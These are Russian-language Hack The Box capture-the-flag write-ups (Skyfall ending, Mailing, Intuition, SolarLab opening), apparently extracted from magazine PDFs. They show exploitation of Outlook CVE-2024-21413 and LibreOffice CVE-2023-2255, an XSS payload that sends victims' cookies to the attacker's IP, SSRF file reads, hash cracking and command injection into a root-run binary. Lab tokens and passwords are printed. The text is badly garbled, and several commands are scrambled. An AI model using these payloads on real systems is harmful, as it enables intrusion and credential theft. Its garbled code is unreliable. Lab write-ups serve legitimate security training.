Эк спор тиру ем адрес и токен в сес сию на локаль ном хос те и для про вер ки
прой дем авто риза цию Vault.

export VAULT_API_ADDR=http://prd23-vault-internal.skyfall.htb 
export VAULT_TOKEN=hvs.
CAESIJlU9JMYEhOPYv4igdhm9PnZDrabYTobQ4Ymnlq1qY-
LGh4KHGh2cy43OVRNMnZhakZDRlZGdGVzN09xYkxTQVE 

./vault login 

Ав ториза ция Vault

Для аутен тифика ции в служ бе SSH Vault каж дый раз генери рует OTP. Сер вер
Vault получа ет от кли ента OTP, и в слу чае одоб рения поль зователь под клю- 
чает ся по SSH. Но для под клю чения нам нуж но ука зать роль. Получить спи сок
ролей мож но сле дующим обра зом.

vault list ssh/roles 

Спи сок ролей SSH

А теперь под клю чаем ся по SSH от име ни поль зовате ля , ука зав роль
.

askyy
dev_otp_key_role

 otp ./vault ssh -role dev_otp_key_role -mode
-strict-host-key-checking=no askyy@10.10.11.254 

Под клю чение успешно, и мы забира ем флаг поль зовате ля.

Флаг поль зовате ля

ËÎÊÀËÜÍÎÅ ÏÎÂÛØÅÍÈÅ ÏÐÈÂÈËÅÃÈÉ

Те перь нам необ ходимо соб рать информа цию. Я буду исполь зовать для это- 
го скрип ты PEASS.

Справка: скрипты PEASS
Что делать пос ле того, как мы получи ли дос туп в сис тему от име ни поль- 
зовате ля? Вари антов даль нейшей экс плу ата ции и повыше ния при виле гий
может быть очень мно го, как в слу чае с Linux, так и в Windows. Что бы соб рать
информа цию и наметить цели, мож но исполь зовать 

 (PEASS) — набор скрип тов, которые про веря ют сис- 
тему на авто мате и выда ют под робный отчет о потен циаль но инте рес ных
фай лах, про цес сах и нас трой ках.

Privilege Escalation
Awesome Scripts SUITE

Заг рузим на хост скрипт для Linux, дадим пра во на выпол нение и запус тим
ска ниро вание. Из инте рес ного наш лись толь ко нас трой ки sudoers.

Нас трой ка sudoers

Справка: sudoers
Файл  в Linux содер жит спис ки команд, которые раз ные груп пы

поль зовате лей могут выпол нять от име ни адми нис тра тора сис темы. Мож но
прос мотреть его как нап рямую, так и при помощи коман ды .

/etc/sudoers

sudo -l

Поль зователь может выпол нить сле дующую коман ду от име ни root без вво да
пароля:

sudo /root/vault/vault-unseal -c /etc/vault-unseal.yaml -v

Ре зуль тат выпол нения коман ды

В выводе вид но, что из кон фига получен мас тер-токен, который мож но
исполь зовать, что бы получить дос туп по SSH с ролью .

Токен не отоб ража ется, но исполь зуя ключ debug ( ), мож но получить боль- 
ше информа ции.

dev_otp_key_role
-d

sudo /root/vault/vault-unseal -c /etc/vault-unseal.yaml -d

Ре зуль тат выпол нения коман ды

В текущем катало ге будет соз дан файл , но дос тупа к нему у нас
нет.

debug.log

Пра ва на файл debug.log

Что если поп робовать соз дать этот файл заранее? Трюк сра ботал: запись
в файл про исхо дит, но при этом пра во дос тупа не изме нилось.

 rm -rf debug.log 
touch debug.log 
sudo /root/vault/vault-unseal -c /etc/vault-unseal.yaml -d

Ре зуль тат выпол нения коман ды

Те перь логи дос тупны для чте ния, и мы можем получить токен.

Со дер жимое фай ла debug.log

Как и в прош лый раз прой дем аутен тифика цию Vault и зап росим роли.

export VAULT_ADDR="http://prd23-vault-internal.skyfall.htb/"
export VAULT_TOKEN="hvs.I0ewVsmaKU1SwVZAKR3T0mmG"
./vault login 

Ав ториза ция Vault

./vault list ssh/roles 

Ро ли Vault

А теперь под клю чаем ся по SSH от име ни поль зовате ля , ука зывая роль

, и забира ем пос ледний флаг.

root
admin_otp_key_role

./vault ssh -role admin_otp_key_role -mode otp root@10.10.11.254 

Флаг рута

Ма шина зах вачена!

https://min.io/download#/linux
https://github.com/carlospolop/PEASS-ng
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ВЗЛОМ

В этом рай тапе я покажу, как одновре мен но
с фишин гом экс плу ати ровать недав ний баг
в Outlook (CVE-2024-21413), поз воля ющий
получить хеш пароля поль зовате ля. Но сна- 
чала исполь зуем LFI, что бы добыть дан ные
сер висной учет ки. При повыше нии при- 
виле гий про экс плу ати руем уяз вимость
в LibreOffice.

На ша цель — получе ние прав супер поль зовате ля на машине Mailing с учеб- 
ной пло щад ки . Уро вень задания — лег кий.Hack The Box

WARNING

Под клю чать ся к машинам с HTB рекомен дует ся
толь ко через VPN. Не делай это го с компь юте ров,
где есть важ ные для тебя дан ные, так как ты ока- 
жешь ся в общей сети с дру гими учас тни ками.

ÐÀÇÂÅÄÊÀ

Ñêàíèðîâàíèå ïîðòîâ
До бав ляем IP-адрес машины в :/etc/hosts

10.10.11.14    mailing.htb 

И запус каем ска ниро вание пор тов.

Справка: сканирование портов
Ска ниро вание пор тов — стан дар тный пер вый шаг при любой ата ке. Он поз- 
воля ет ата кующе му узнать, какие служ бы на хос те при нима ют соеди нение.
На осно ве этой информа ции выбира ется сле дующий шаг к получе нию точ ки
вхо да.

На ибо лее извес тный инс тру мент для ска ниро вания — это Nmap. Улуч шить
резуль таты его работы ты можешь при помощи сле дующе го скрип та:

#!/bin/bash
nmap  500  |     1 | 

   | s/, /
ports=$( -p- --min-rate= $1 grep ^[0-9] | cut -d '/' -f
tr '\n' ',' sed $/ )
nmap   -p$ports -A $1

Он дей ству ет в два эта па. На пер вом про изво дит ся обыч ное быс трое ска- 
ниро вание, на вто ром — более тща тель ное ска ниро вание, с исполь зовани ем
име ющих ся скрип тов (опция ).-A

Ре зуль тат работы скрип та

Ска нер нашел мно го откры тых пор тов, что нор маль но для сер веров
на Windows:

25 — hMailServer (поч товый сер вер SMTP);•
80 (HTTP) — веб-сер вер Microsoft IIS/10.0;•
110 — hMailServer (поч товый сер вер POP3);•
135 — служ ба уда лен ного вызова про цедур (Microsoft RPC). Исполь зует ся
для опе раций вза имо дей ствия кон трол лер — кон трол лер и кон трол лер —
кли ент;

•

139 — служ ба сеан сов NetBIOS, NetLogon;•
143 — hMailServer (поч товый сер вер IMAP);•
445 — SMB;•
587 — hMailServer (поч товый сер вер SMTP SSL);•
993 — hMailServer (поч товый сер вер POP3 SSL);•
5985 — служ ба уда лен ного управле ния WinRM.•

На SMB ничего инте рес ного нет, поч товая служ ба пока мало чем будет
полез на, поэто му идем смот реть веб-сер вер.

Глав ная стра ница сай та

Сра зу отме чаем на глав ной стра нице ссыл ку на какую-то инс трук цию.

ÒÎ×ÊÀ ÂÕÎÄÀ

Инс трук ция очень боль шая, но в ней никаких учет ных дан ных. Одна ко из нее
мы узна ём поч товый адрес , а так же то, что исполь зует ся
поч товый кли ент Outlook.

maya@mailing.htb

Скрин шот из инс трук ции

Здесь явно пред полага ется век тор фишин га, но у нас пока что нет никаких
учет ных дан ных, а зна чит, поищем дру гие пути для прод вижения. Обра тим
вни мание на спо соб ска чива ния инс трук ции. Под робнос ти мож но пос мотреть
в Burp History.

Зап рос в Burp History

Имя фай ла переда ется в парамет ре , а это зна чит, что тут может быть

уяз вимость LFI, поз воля ющая прос матри вать дру гие фай лы в сис теме. Давай
перебе рем воз можные пути через Burp Intruder. В качес тве целево го фай ла
будем исполь зовать всег да и всем дос тупный для чте ния 

.

file

/Windows/
System32/drivers/etc/hosts

Burp Intruder — вклад ка Positions

Burp Intruder — вклад ка Results

Филь тру ем резуль тат и видим в зап росах содер жимое фай ла, а зна чит, есть
LFI.

ÒÎ×ÊÀ ÎÏÎÐÛ

Что бы про верять какие-то сис темные фай лы, нам может не хва тать при виле- 
гий, поэто му работа ем с тем, что есть, а имен но с hMailServer, который мы
видели, ска нируя пор ты. Пос ле поис ка информа ции в интерне те я нашел
на «Дзе не» рус ско языч ную .
В статье при веден путь к фай лу с нас трой ками, а так же его при мер ное содер- 
жимое. Меня очень заин тересо вали стро ки с пароля ми.

статью по адми нис три рова нию hMailServer

Скрин шот из статьи

Про чита ем нас трой ки на уда лен ном сер вере через Burp Repeater:

C:\Program+Files+(x86)\hMailServer\Bin\hMailServer.INI 

Файл кон фигура ций hMailServer

Стро ка в парамет ре  — это навер няка хеш пароля,
а не сам пароль. Отда дим его hashcat.

AdministratorPassword

hashcat 841bb5acfa6779ae432fd7a4e6600ba7 rockyou.txt 

Спи сок алго рит мов хеширо вания

Но hashcat лишь отоб разил спи сок воз можных алго рит мов хеширо вания. Так
мы узна ём, что сер вер hMailServer исполь зует для хеширо вания паролей
алго ритм MD5, поэто му ука зыва ем режим 0 и пов торя ем брут.

hashcat -m 0 841bb5acfa6779ae432fd7a4e6600ba7 rockyou.txt 

Ре зуль тат под бора пароля

От лично, теперь у нас есть пароль и имя поль зовате ля адми нис тра тора поч- 
тового сер вера. Перехо дим к фишин гу.

ÏÐÎÄÂÈÆÅÍÈÅ

Ни какой информа ции о фор матах отправ ляемых фай лов я не нашел.
По отправ ленным мной ссыл кам на HTTP и SMB тоже ник то не перешел. Тог- 
да я решил обра тить свое вни мание на пос ледние экс пло иты в Outlook.
Поищем их, исполь зуя Google.

По иск экс пло итов в Google

Наш лась уяз вимость . Она поз воля ет обой ти встро енные
средс тва защиты Outlook от вре донос ных ссы лок в элек трон ных пись мах.
Для это го исполь зует ся про токол  и спе циаль ный сим вол  в ссыл ке

для дос тупа к уда лен ному сер веру. Помимо все го, эта уяз вимость поз воля ет
обой ти фун кцию «Защищен ный вид», которая пред назна чена для бло киров ки
вре донос ного содер жимого фай лов.

CVE-2024-21413

file:// !

На GitHub уже есть , поэто му сде- 
лаем всё по инс трук ции. Пер вым делом запус тим лис тенер.

го товый авто мати зиро ван ный экс пло ит

sudo python3 Responder.py -I tun0 

А затем отпра вим сооб щение, где в парамет ре  ука жем адрес лис- 

тенера.

--url

 587 

 
 

python3 CVE-2024-21413.py --server mailing.htb --port --username 
administrator@mailing.htb --password homenetworkingadministrator 
--sender administrator@mailing.htb --recipient maya@mailing.htb --url
"\\10.10.16.5/test" --subject Test 

От прав ка сооб щения

Ло ги лис тенера

В ито ге ловим NetNTLMv2-хеш пароля поль зовате ля  и отправ ляем его
на брут.

maya

hashcat maya::MAILING:d76ae35a1ec4b9cc:2530B2.....0000 rockyou.txt 

Ре зуль тат под бора пароля

С получен ным паролем авто ризу емся по WinRM и получа ем пер вый флаг.

evil-winrm -i mailing.htb -u maya -p m4y4ngs4ri 

Флаг поль зовате ля

ËÎÊÀËÜÍÎÅ ÏÎÂÛØÅÍÈÅ ÏÐÈÂÈËÅÃÈÉ

Ос матри ваем ся в фай ловой сис теме и находим необыч ный каталог
 на дис ке C.Important Documents

Со дер жимое дис ка C

Век тор сра зу стал понятен — нуж но сфор мировать документ с мак росом
или исполь зовать какую-то уяз вимость в офис ном при ложе нии. Но спер ва
най дем целевое офис ное при ложе ние, ско рее все го, оно будет в 

.
Program 

Files

Со дер жимое катало га Program Files

Су дя по катало гам, иско мое при ложе ние — это LibreOffice. Из фай ла
 узна ем вер сию про дук та.readmes\readme_es.txt

Со дер жимое фай ла readme_es.txt

Пер вым делом сто ит про верить, есть ли для этой вер сии готовые экс пло иты.
Сно ва отправ ляем ся в Google.

По иск экс пло итов в Google

По пер вой ссыл ке получа ем  для уяз вимос ти CVE-2023-2255,
которая поз воля ет выпол нить про изволь ный код при откры тии спе циаль но
соз данно го докумен та. Сге нери руем документ и закинем в каталог

 на дис ке C. В качес тве наг рузки зададим однос троч- 

ник, добав ляющий текуще го поль зовате ля в груп пу адми нис тра торов.

экс пло ит

Important Documents

python3 CVE-2023-2255.py --cmd 'net localgroup Administradores maya /
add' --output 'exploit.odt'

Как толь ко документ исчезнет из катало га, про верим груп пы поль зовате ля.

Ин форма ция о поль зовате ле

Те кущий поль зователь теперь в груп пе адми нис тра торов, а зна чит, можем
перело гинить ся и про чита ем флаг рута.

Флаг рута

Ма шина зах вачена!

mailto:hackerralf8@gmail.com
https://www.hackthebox.eu/
https://dzen.ru/a/XgUVTEKwPQCuamJB
https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-21413
https://github.com/xaitax/CVE-2024-21413-Microsoft-Outlook-Remote-Code-Execution-Vulnerability
https://github.com/elweth-sec/CVE-2023-2255
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ВЗЛОМ

Се год ня я покажу, как повысить пра ва
в Linux через уяз вимость в ран нере Ansible.
Но преж де нам понадо бит ся заюзать XSS
на сай те сна чала для получе ния дос тупа
к стра нице поль зовате ля, а потом
для повыше ния при виле гий. Затем исполь- 
зуем прош логод ний баг в биб лиоте ке urllib,
что бы читать фай лы на сер вере, а для
прод вижения к дру гому поль зовате лю изу- 
чим логи Suricata.

На ша цель — получе ние прав супер поль зовате ля на машине Intuition с учеб- 
ной пло щад ки . Уро вень задания — слож ный.Hack The Box

WARNING

Под клю чать ся к машинам с HTB рекомен дует ся
толь ко через VPN. Не делай это го с компь юте ров,
где есть важ ные для тебя дан ные, так как ты ока- 
жешь ся в общей сети с дру гими учас тни ками.

ÐÀÇÂÅÄÊÀ

Ñêàíèðîâàíèå ïîðòîâ
До бав ляем IP-адрес машины в :/etc/hosts

10.10.11.15 intuition.htb 

И запус каем ска ниро вание пор тов.

Справка: сканирование портов
Ска ниро вание пор тов — стан дар тный пер вый шаг при любой ата ке. Он поз- 
воля ет ата кующе му узнать, какие служ бы на хос те при нима ют соеди нение.
На осно ве этой информа ции выбира ется сле дующий шаг к получе нию точ ки
вхо да.

На ибо лее извес тный инс тру мент для ска ниро вания — это Nmap. Улуч шить
резуль таты его работы ты можешь при помощи сле дующе го скрип та:

#!/bin/bash
nmap  500  |     1 | 

   | s/, /
ports=$( -p- --min-rate= $1 grep ^[0-9] | cut -d '/' -f
tr '\n' ',' sed $/ )
nmap   -p$ports -A $1

Он дей ству ет в два эта па. На пер вом про изво дит ся обыч ное быс трое ска- 
ниро вание, на вто ром — более тща тель ное ска ниро вание, с исполь зовани ем
име ющих ся скрип тов (опция ).-A

Ре зуль тат работы скрип та

Ска нер нашел два откры тых пор та:
22 — служ ба OpenSSH 8.9p1;•
80 — веб-сер вер Nginx 1.18.0.•

Так же отме чаем, что веб-сер вер на 80-м пор те редирек тит на домен
, поэто му добавим его в файл .comprezzor.htb /etc/hosts

10.10.11.15 intuition.htb comprezzor.htb 

Пе рехо дим к сай ту на веб-сер вере и сра зу получа ем фор му для заг рузки
фай лов.

Глав ная стра ница сай та

ÒÎ×ÊÀ ÂÕÎÄÀ

Ни же на стра нице есть ссыл ка на фор му, куда мож но отправ лять информа- 
цию о най ден ных багах.

Ин форма ция для свя зи

Ссыл ка ведет на сайт , поэто му, преж де чем идти
смот реть на него, сно ва добавим запись в файл .

report.comprezzor.htb
/etc/hosts

10.10.11.15 intuition.htb comprezzor.htb report.comprezzor.htb 

Глав ная стра ница сай та report.comprezzor.htb

Так как мы уже наш ли сайт на под домене , есть смысл проб рутить под- 

домены по спис ку: так мы смо жем най ти еще боль ше сай тов, а соот ветс твен- 
но, и боль ше точек вхо да. Под бирать под домены будем с помощью ути литы

.

report

ffuf

Справка: сканирование веба c ffuf
Од но из пер вых дей ствий при тес тирова нии безопас ности веб-при ложе- 
ния — это ска ниро вание методом перебо ра катало гов, что бы най ти скры тую
информа цию и недос тупные обыч ным посети телям фун кции. Для это го мож но
исполь зовать прог раммы вро де  и .dirsearch DIRB

Я пред почитаю лег кий и очень быс трый . При запус ке ука зыва ем сле- 
дующие парамет ры:

ffuf

 — сло варь (я исполь зую сло вари из набора );• -w SecLists
 — количес тво потоков;• -t

 — URL;• -u

 — HTTP-заголо вок.• -H

Мес то перебо ра помеча ется сло вом FUZZ.

За даем все нуж ные парамет ры:

ffuf   
 256 

-u http://comprezzor.htb/ -H 'Host: FUZZ.comprezzor.htb' -w 
subdomains-bitquark-top100000.txt -t

Ре зуль тат ска ниро вания под доменов

В вывод прог раммы попада ют абсо лют но все сло ва из спис ка, поэто му необ- 
ходимо добавить филь тр, нап ример по раз меру стра ницы (параметр ).-fs

ffuf   
 256  178 

-u http://comprezzor.htb/ -H 'Host: FUZZ.comprezzor.htb' -w 
subdomains-bitquark-top100000.txt -t -fs

Ре зуль тат ска ниро вания под доменов

На ходим еще два под домена. Обновля ем запись в фай ле 

и наконец идем смот реть сай ты.

/etc/hosts

10.10.11.15 intuition.htb comprezzor.htb report.comprezzor.htb auth.
comprezzor.htb dashboard.comprezzor.htb 

На  нас встре чает фор ма авто риза ции, а 

 недос тупен даже пос ле регис тра ции и авто риза ции.

auth.comprezzor.htb dashboard.
comprezzor.htb

Глав ная стра ница auth.comprezzor.htb

Ку да инте рес нее фор ма отправ ки отче тов, так как ее мож но потес тировать
на раз ные уяз вимос ти.

Фор ма отправ ки отче тов

По логике, если отчет кто-то прос матри вает, мы можем поп робовать про экс- 
плу ати ровать уяз вимость XSS. Для это го запус тим локаль ный веб-сер вер:

  python3 -m http.server

И отпра вим наг рузку, которая дол жна будет выпол нить зап рос на этот
веб-сер вер.

   <img src=x onerror='fetch("http://10.10.16.22:8000/test_xss")' />

Фор ма отправ ки отче тов

Ло ги веб-сер вера

На веб-сер вер при шел зап рос, а зна чит, на сай те есть XSS. Недол го думая,
поп робу ем ста щить куки поль зовате ля.

  
 

<img src=x onerror='fetch("http://10.10.16.22:8000/test_xss" + 
document.cookie)' />

Ло ги веб-сер вера

В логах появ ляет ся длин ная стро ка. Заг ружа ем куки в бра узер, пометив, что
они пред назна чены для сай та dashboard, и перехо дим на этот сайт.

Глав ная стра ница сай та dashboard.comprezzor.htb

Продолжение статьи →

mailto:hackerralf8@gmail.com
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https://github.com/ffuf/ffuf
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https://kali.tools/?p=108
https://github.com/ffuf/ffuf
https://github.com/danielmiessler/SecLists
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Ïîâûøåíèå ïðèâèëåãèé
На стра нице мы можем смот реть сами отче ты, перехо дя по ссыл кам в Report
ID. При этом на стра нице самого отче та мож но повысить его при ори тет.

Стра ница отче та

При повыше нии при ори тета отче та, веро ятно, его будет изу чать уже адми нис- 
тра тор. А зна чит, мы смо жем пов торить трюк с XSS и получить cookie. Откро- 
ем отчет и повысим его при ори тет, и, ког да адми нис тра тор перей дет к нему,
мы получим его куки.

  
 

<img src=x onerror='fetch("http://10.10.16.22:8000/test_xss" + 
document.cookie)' />

По выше ние при ори тета отче та

Ло ги веб-сер вера

При меня ем куки в хра нили ще бра узе ра Chrome и обновля ем стра ницу.
Теперь нам дос тупен дру гой даш борд, а так же нес коль ко новых фун кций.

Па нель адми нис тра тора сай та

Од на из инте рес ных воз можнос тей — это сос тавле ние отче та в PDF по пре- 
дос тавлен ному URL.

Пер вой моей иде ей было про верить, нет ли тут SSRF, и поп робовать ста- 
щить локаль ные фай лы через схе му . Прав да, это резуль татов

не дало.

file:///

Стра ница соз дания PDF-фай лов

Поп робу ем прис лать тес товый зап рос на свой лис тенер. Запус тим его:

nc -nlvp 8000 

Об рати вни мание на исполь зуемую на сер вере биб лиоте ку — 

. Ее мож но уви деть в HTTP-заголов ке .

Python-
urllib/3.11 User-Agent

Зап рос с сер вера

В этой биб лиоте ке в прош лом году наш ли уяз вимость .CVE-2023-24329

По иск экс пло итов в Google

Я поис кал экс пло иты в Google и лег ко отыс кал под ходящий. Если URL будет
начинать ся с про бела, то мы смо жем читать локаль ные фай лы через 

.
« 

file:///»

По луче ние содер жимого фай ла /etc/passwd

LFI
Так как мы работа ем с при ложе нием на Python, хорошо бы взгля нуть
на исходный код. А для это го нуж но знать, где в фай ловой сис теме находит ся
при ложе ние. Давай гля нем файл  — там содер жится

коман дная стро ка для текуще го про цес са.

/proc/self/cmdline

Со дер жимое /proc/self/cmdline

Та ким обра зом, для стар та при ложе ния запус кает ся файл 

. Получим его содер жимое.

/app/code/app.
py

Со дер жимое фай ла app.py

По мимо сек рета Flask, нас инте ресу ют импорты, которые ука зыва ют на дру- 
гие питонов ские фай лы это го при ложе ния:

;• redirect from blueprints.index.index

;• main_bp from blueprints.report.report

;• report_bp from blueprints.auth.auth

;• auth_bp from blueprints.dashboard.dashboard

.• dashboard_bp

По оче ред но прос матри ваем фай лы и оста нав лива емся вот на этом:

/app/code/blueprints/dashboard/dashboard.py 

В исходном коде есть учет ные дан ные для под клю чения к FTP-сер веру.

Со дер жимое фай ла dashboard.py

Ви димо, на хос те работа ет локаль ный FTP-сер вер. Через SSRF мы можем
к нему под клю чить ся.

ftp://ftp_admin:u3jai8y71s2@ftp.local/ 

Файл на FTP-сер вере

На FTP-сер вере находим при ват ный ключ, файл PDF и какую-то запис ку. Про- 
чита ем запис ку .welcome_note.txt

ftp://ftp_admin:u3jai8y71s2@ftp.local/welcome_note.txt 

Со дер жимое фай ла welcome_note.txt

В запис ке находим пароль для клю ча SSH. Теперь чита ем сам при ват ный
ключ .private-8297.key

ftp://ftp_admin:u3jai8y71s2@ftp.local/private-8297.key 

Со дер жимое фай ла private-8297.key

Итак, у нас есть ключ SSH и пароль для него. Но ни к одно му поль зовате лю
из фай ла  он не подошел. Тог да дос танем эту информа цию

из самого клю ча.

/etc/passwd

ssh-add id_rsa 

Поль зователь SSH

От име ни поль зовате ля dev_acc под клю чаем ся к сер веру и забира ем пер вый
флаг.

ssh -i id_rsa dev_acc@10.10.11.15 

Флаг поль зовате ля

Продолжение статьи →

https://github.com/JawadPy/CVE-Exploit-Collection/tree/main/CVE-2023-24329-Exploit
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ÏÐÎÄÂÈÆÅÍÈÅ

Те перь нам необ ходимо соб рать информа цию. Я буду исполь зовать для это- 
го скрип ты PEASS.

Справка: скрипты PEASS
Что делать пос ле того, как мы получи ли дос туп в сис тему от име ни поль- 
зовате ля? Вари антов даль нейшей экс плу ата ции и повыше ния при виле гий
может быть очень мно го, как в Linux, так и в Windows. Что бы соб рать
информа цию и наметить цели, мож но исполь зовать 

 (PEASS) — набор скрип тов, которые про веря ют сис- 
тему на авто мате и выда ют под робный отчет о потен циаль но инте рес ных
фай лах, про цес сах и нас трой ках.

Privilege Escalation
Awesome Scripts SUITE

Заг рузим на уда лен ный хост скрипт для Linux, дадим пра во на выпол нение
и запус тим ска ниро вание. В выводе будет мно го все го, выберем толь ко важ- 
ную информа цию.

У веб-при ложе ния есть файл базы дан ных .users.db

Спи сок фай лов баз дан ных

На хос те обновля ются логи Suricata.

Пос ледние модифи циро ван ные фай лы

Пе рехо дим к катало гу веб-при ложе ния blueprints и чита ем фай лы , что бы
понимать струк туры баз и таб лиц. Пер вым делом про веря ем фай лы для базы

.

.sql

users

Со дер жимое фай ла users.sql

В таб лице  все го четыре стол бца: иден тифика тор, имя поль зовате ля,

пароль (ско рее все го, хеш) и роль. Чита ем файл  и пар сим из него

хеши:

users
users.db

adam : 
sha256$Z7bcBO9P43gvdQWp$a67ea5f8722e69ee99258f208dc56a1d5d631f2871060
03595087cf42189fc43 (webdev) 
admin : 
sha256$nypGJ02XBnkIQK71$f0e11dc8ad21242b550cc8a3c27baaf1022b6522afaad
bfa92bd612513e9b606 (admin) 

Со дер жимое фай ла users.db

От прав ляем получен ные хеши на брут и спус тя минуту получа ем один пароль.

hashcat hashes.txt rockyou.txt 

Ре зуль тат под бора пароля

С новыми учет ными дан ными никуда не зай ти. Вспо мина ем про FTP-сер вер
и про буем авто ризо вать ся как поль зователь adam.

ftp adam@127.0.0.1 

Фай лы на FTP-сер вере

В ито ге находим каталог backup, который содер жит исходные коды какого-то
ран нера. Ска чива ем все фай лы через коман ду .get

Со дер жимое катало га backup

Так же не оставля ем без вни мания и логи Suricata в катало ге 

. Там могут прос каль зывать учет ные дан ные и дру гая инте рес ная
информа ция.

/var/log/
suricata/

Со дер жимое катало га /var/log/suricata/

Про буем гре пать все логи по сло ву . Для обыч ных фай лов исполь зуем
, для архи вов — .

login
grep zgrep

 grep -iR login ./ 
.gz zgrep -i login *

Ло ги Suricata

В архи ве видим лог с неудач ной авто риза цией на FTP-сер вере. Про верим
толь ко архи вы, при этом отфиль тру ем ответ «FTP Failed Login Attempt».

  zgrep -i login *.gz | grep -v 'FTP Failed Login Attempt'

Ло ги Suricata

На ходим оче ред ную пару логин — пароль, с которой уже получа ем сес сию
поль зовате ля SSH.

Сес сия поль зовате ля

ËÎÊÀËÜÍÎÅ ÏÎÂÛØÅÍÈÅ ÏÐÈÂÈËÅÃÈÉ

Мы сме нили кон текст поль зовате ля, а зна чит, нуж но про верить дос тупные
фай лы с выс тавлен ным битом SUID и нас трой ки sudoers. При этом коман да

 уже показа ла, что поль зователь lopez сос тоит в груп пе sys-adm.id

Нас трой ки sudoers

Из фай ла  сле дует, что мы можем запус тить бинарь 

 от име ни поль зовате ля root. Выпол ним тес товый запуск
и про верим вывод прог раммы.

/etc/sudoers /opt/
runner2/runner2

За пуск runner2

Та ким обра зом, при ложе ние ожи дает файл JSON. Мы уже встре чали
исходные коды с подоб ным наз вани ем, поэто му про ана лизи руем их.

На чина ем с фай ла , который пред назна чен для запус ка пер- 

вой вер сии ран нера. Пер вая вер сия при нима ет все парамет ры через коман- 
дную стро ку и не исполь зует для это го файл JSON.

run-tests.sh

Со дер жимое фай ла run-tests.sh

В исходном коде встре чаем обра зован ный от пароля хеш MD5, который дол- 
жен переда вать ся при ложе нию в парамет ре .-a

Со дер жимое фай ла runner1.c

Мы зна ем боль шую часть пароля, оста лось переб рать все го четыре сим вола.
Hashcat очень лег ко спра вил ся с этой задачей. Для перебо ра по мас ке нуж но
исполь зовать параметр .-a 3

 3  0 hashcat -a -m '0feda17076d793c2ef2870d7427ad4ed' UHI75GHI?u?u?u?u 

Ре зуль тат перебо ра хеша

Па роль для запус ка у нас есть, будем наде ять ся, что он остался тем же и во
вто рой вер сии ран нера. В фун кции находим спи сок воз можных команд (стро- 
ка 65): ,  и .list run install

Со дер жимое фай ла runner1.c

По коман де  мы прос то получим спи сок фай лов YAML из катало га 

 (стро ки 31–49). Коман ды  и  c помощью фун кции
 сфор миру ют стро ку и переда дут для выпол нения в коман дную обо- 

лоч ку через фун кцию  (стро ки 51–61).

list /opt/
playbooks run install
snprintf

system

Со дер жимое фай ла runner1.c

По доб ный вызов фун кции  очень опа сен, так как мы можем передать

кон вей ер команд и про экс плу ати ровать инъ екцию команд ОС.

system

По стро кам из фай ла  мы можем вос ста новить при мер ную конс- 

трук цию фай ла JSON:

runner

па роль переда ется в парамет ре ;• auth_code

ко ман да переда ется в парамет ре ;• action

па раметр  переда ется в бло ке .• action run

Для тес та выпол ним коман ду . Для это го соз дадим файл 

и запус тим ран нер.

list test.json

{
  "run":{
      "action":"list"
  },
  "auth_code":"UHI75GHINKOP"
}

Ре зуль тат выпол нения коман ды list

Ко ман да выпол нена успешно, а зна чит, фор мат фай ла подоб ран вер но.
Теперь перей дем к внед рению коман ды. Коман де  будем переда вать

архив, в име ни которо го уже будет кон вей ер команд, запус кающий коман- 
дную обо лоч ку bash.

install

root mkdir 
 tar -vcfr root.tar.gz root 

mv root.tar.gz 'root.tar.gz;bash'

Ис поль зуем сле дующий кон фиг и выпол няем ран нер. Пос ле обра бот ки кон- 
фига получа ем сес сию в при виле гиро ван ном кон тек сте.

{
  "run":{
      "action":"install",
      "role_file":"root.tar.gz;bash"
  },
  "auth_code":"UHI75GHINKOP"
}

Флаг рута

Ма шина зах вачена!

https://github.com/carlospolop/PEASS-ng
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ВЗЛОМ

В этом рай тапе я покажу, как получить шелл
и рас шифро вать учет ные дан ные из сер- 
виса OpenFire. Но преж де про ник нем
на сер вер, работа ющий на Windows, путем
экс плу ата ции уяз вимос ти в биб лиоте ке
ReportLab.

На ша цель — получе ние прав супер поль зовате ля на машине SolarLab с учеб- 
ной пло щад ки . Уро вень слож ности задания — сред ний.Hack The Box

WARNING

Под клю чать ся к машинам с HTB рекомен дует ся
толь ко через VPN. Не делай это го с компь юте ров,
где есть важ ные для тебя дан ные, так как ты ока- 
жешь ся в общей сети с дру гими учас тни ками.

ÐÀÇÂÅÄÊÀ

Ñêàíèðîâàíèå ïîðòîâ
До бав ляем IP-адрес машины в :/etc/hosts

10.10.11.16 solarlab.htb 

И запус каем ска ниро вание пор тов.

Ре зуль тат работы скрип та

По резуль татам ска ниро вания име ем нес коль ко откры тых пор тов, типич ных
для сис тем Windows:

80 и 6791 (HTTP) — веб-сер вер Nginx 1.24.0;•
135 — служ ба уда лен ного вызова про цедур (Microsoft RPC). Исполь зует ся
для опе раций вза имо дей ствия кон трол лер — кон трол лер и кон трол лер —
кли ент;

•

139 — служ ба сеан сов NetBIOS, NetLogon;•
445 — SMB.•

По логу вид но, что с пор та 6791 выпол няет ся редирект на домен 

. Сра зу добавим запись в файл .

report.
solarlab.htb /etc/hosts

10.10.11.16 solarlab.htb report.solarlab.htb 

ÒÎ×ÊÀ ÂÕÎÄÀ

Пер вым делом про веря ем, раз решен ли вход от име ни гос тевой учет ной
записи по SMB.

 nxc smb 10.10.11.16 -u guest -p ''

Аутен тифика ция от име ни гос тя

Так как аутен тифика ция прош ла успешно, мы можем прос мотреть общие
катало ги SMB. Чаще все го аутен тифика ция для ано нима вклю чает ся имен но
для дос тупа к каким-то общим ресур сам.

  nxc smb 10.10.11.16 -u guest -p '' --shares

Об щие ресур сы SMB

Так же мы можем проб рутить RID объ ектов, таких как поль зовате ли и груп пы.

  nxc smb 10.10.11.16 -u guest -p '' --rid-brute

Спи сок поль зовате лей и групп

Те перь вер немся к общим катало гам. Нам дос тупен для чте ния каталог
, в котором могут быть важ ные дан ные.Documents

smbclient.py ./guest:''@10.10.11.16 

use Documents 

Со дер жимое катало га Documents

Из  забира ем докумен ты XLSX и DOCX. Еще два докумен та забира- 

ем из вло жен ного катало га .

Documents
concepts

Со дер жимое катало га concepts

В докумен тах полез ной информа ции най ти не уда лось, а вот в таб лице есть
спис ки учет ных дан ных для раз ных ресур сов.

Со дер жимое фай ла details-le.xlsx

К SMB эти учет ные дан ные не подош ли, поэто му наконец перехо дим к вебу.
Сайт на 80-м пор те боль ше напоми нает визит ку. Зато на нем мы находим
спи сок поль зовате лей, которые были в таб лице.

Глав ная стра ница сай та solarlab.htb

Сот рудни ки орга низа ции

На пор те 6791 нас встре чает фор ма авто риза ции.

Стра ница авто риза ции на report.solarlab.htb:6791

Продолжение статьи →
